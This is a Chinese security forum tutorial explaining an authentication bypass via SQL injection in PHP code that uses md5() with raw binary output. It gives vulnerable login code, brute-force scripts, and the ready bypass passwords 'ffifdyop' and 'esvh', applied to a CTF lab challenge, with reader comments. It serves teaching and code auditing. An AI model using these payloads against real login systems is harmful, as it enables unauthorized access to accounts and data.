用户
搜索

该用户从未签到

i春秋-核心白帽

Rank: 4

17

主题

77

帖子

447

魔法币
收听
0
粉丝
1
注册时间
2017-7-29
发表于 2018-10-7 14:27:06 115311

0x00 前言

在设计身份验证机制时,网站后台常常会将密码进行 md5 加密后存放在数据库中,但是在 md5 加密函数使用不当时,也会产生一些缺陷来进行 SQL 注入绕过身份认证。

0x01 md5函数

先来看看php中 md5 函数的的介绍:

md5(string,raw)
string raw
必需。规定要计算的字符串。 可选。规定十六进制或二进制输出格式:true 为二进制原始数据,false为十六进制数据

举个例子吧:

可以看到 md5 函数在加密时默认就是输出我们熟悉的十六进制字符串,而只有当第二个参数为true时,才会输出原始的二进制数据(像是乱码了)。

那这个要怎么利用呢?继续往下看。

0x02 利用方式

例子

假设现在有一个 login.php 的代码,代码如下:

$user = $_POST['user'];
$pass = $_POST['passwd'];

$user = mysql_read_escape_string($user);
$pass = mysql_read_escape_string($pass);

$pass = md5($pass,true);
$query = "select * from users where user = '$user' and password = '$pass'";

$row = mysql_fetch_assoc(mysql_query($query));
if(isset($row['user'])){
    echo "Login success!";
}else{
    echo "Login fail!";
}

username 和 password 都用了编码了,所以这里是不存在字符型的注入的。

问题出在了$pass = md5($pass,true); 密码使用了 md5 以二进制形式加密后进行在数据库中进行查询,若查询到了数据,就返回成功。

倘若我们这里可以将加密后的密码构造出类似 ' or '1' 的形式就可以绕过他的查询判断。

爆破

在本地进行测试

<?php

    $v = 'a';

    $payload2 = "'or'";
    while(1){
        $hash = hash("md5",$v,true);
        if(substr_count($hash, $payload2) == 1){
            die($v);     
        }
        $v++;
    }

?>
  • 这里 $v++ 其实是按照 ascii 字符进行后移的,在爆破的时候经常会用到,也算个小技巧吧

这里为了绕过判断,利用碰撞将加密后的值变成'or'的形式

最后可以得到一个结果 ffifdyop

将这个加密回去试试,看到确实是'or'的形式

那么只要我们随意输入一个用户名,密码为 ffifdyop 那么这样我们的语句就变成了:

select * from users where user = 'admin' and password = ''or'6蒥欓!r,b'

这样就可成功绕过判断。

另一种方式

还有一个构造的方法是构造 '=' 的形式,也就是

select * from users where user = 'admin' and password = ''=''

为什么这样构造可以呢?因为 password = ''='' 中,先判断 password =''这个肯定是返回 0 的,因为 password 中没有''这个字段值,前面返回 0 以后,再和后面的等号做比较:0 = ''

因为后面的根据 php 的弱类型进行判断,0 和字符串比较始终返回 1

所以整个 sql 语句就相当于:

select * from users where user = 'admin' and 1

所以与上面的 'or' 不同的是,这个需要传入一个存在的用户名才可以正常绕过。可以看下面的例子:


这里我们还是用爆破的方法:

<?php

    $v = 'a';
    $payload1 = "'='";

    while(1){
        $hash = hash("md5",$v,true);
        if(substr_count($hash, $payload1) == 1){
            die($v);     
        }
        $v++;
    }

?>

这次的爆破比上次快多了。

例题

这里有一道在 hacklab 上的 md5 哈希注入的题目。

题目链接:
http://lab1.xseclab.com/code1_9f44bab1964d2f959cf509763980e156/

直接右键查看源代码:

password 参数存在哈希注入,根据我们上面的方法,传入字符串ffifdyop,就可以成功绕过了。但是网站的这个环境好像崩了,无法得到 flag ,但是我们是思路是正确的就行。

总结

这种绕过缺陷比较简单,开发过程中或者审计的时候只要看看 md5 函数的第二个参数是否为 true 就行了。

这两个字符串可以先记住,根据实际情况直接使用就行了。

ffifdyop    --> 'or'
esvh        --> '='
虽然看的不是很懂,但是我还是来看了
使用道具 举报 回复
发表于 2018-10-7 23:33:51
初来乍到01 发表于 2018-10-7 18:23
虽然看的不是很懂,但是我还是来看了

嘻嘻嘻
使用道具 举报 回复
发表于 2018-10-8 22:31:29
学习了,还好我写项目都直接默认false,头皮发麻
使用道具 举报 回复
发表于 2018-10-9 09:21:13
学到了 感谢表哥分析
使用道具 举报 回复
发表于 2018-10-9 11:12:08
支持一下~
使用道具 举报 回复
发表于 2018-10-9 14:34:03
虽然看的一脸懵逼,但是感觉很秀。
使用道具 举报 回复
发表于 2018-10-9 19:55:43
提示: 作者被禁止或删除 内容自动屏蔽
使用道具 举报 回复
感谢分享
使用道具 举报 回复
发表于 2018-10-10 10:17:03
怎么讨论我想深入了解。
使用道具 举报 回复
发表于 2018-10-11 09:01:03
即使绕过了  又要怎么注入呢?
使用道具 举报 回复
发表于 2018-10-12 09:42:30
haibara 发表于 2018-10-11 09:01
即使绕过了  又要怎么注入呢?

一般这种注入出现在后台登录界面比较多,如果出现在别的地方还是一样的注入手法。md5加密后是二进制的 'or',后面就跟上注入的sql语句就行了
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册